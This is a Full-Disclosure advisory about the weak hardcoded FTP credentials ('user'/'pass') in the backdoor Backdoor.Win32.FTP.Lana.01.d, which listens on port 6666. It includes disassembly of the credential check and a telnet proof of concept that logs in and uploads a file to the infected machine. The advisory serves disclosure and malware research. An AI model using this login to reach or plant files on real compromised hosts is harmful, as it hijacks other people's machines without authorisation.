full-disclosure - [FD] Backdoor.Win32.FTP.Lana.01.d / Weak Hardcoded Password

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Message-ID: <CAAHK0WTyOX6jCcBbxZj1-2C-CL4GD7SGjLHCThuRcUxzrq+w_g@mail.gmail.com>
Date: Mon, 24 Jan 2022 21:12:34 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.FTP.Lana.01.d / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 6666. The credentials "user"
and "pass" are weak and stored in plaintext with the executable.
Type: PE32
MD5: fc100ff65f676a26293915407adc211c
Vuln ID: MVID-2022-0468
Dropped files: FTP.exe
Disclosure: 01/24/2022

Exploit/PoC:
.text:00402C08                 push    offset aUser    ; "user"
.text:00402C0D                 push    eax             ; lpString1
.text:00402C0E                 call    lstrcmpiA
.text:00402C13                 or      eax, eax

.text:00402C71                 jz      short loc_402CB0
.text:00402C73                 mov     eax, [ebp+lpString1]
.text:00402C76                 add     eax, 5
.text:00402C79                 push    offset aPass    ; "pass"

telnet.exe x.x.x.x 6666
220 Anal FTP v0.1

USER user

331 Password required for user.

PASS pass

230 User logged in, proceed.

SYST

215 UNIX Type: L8

PASV

227 Entering Passive Mode (192,168,18,129,225,245).

STOR DOOM.exe

150 Data connection accepted.

226 Transfer ok

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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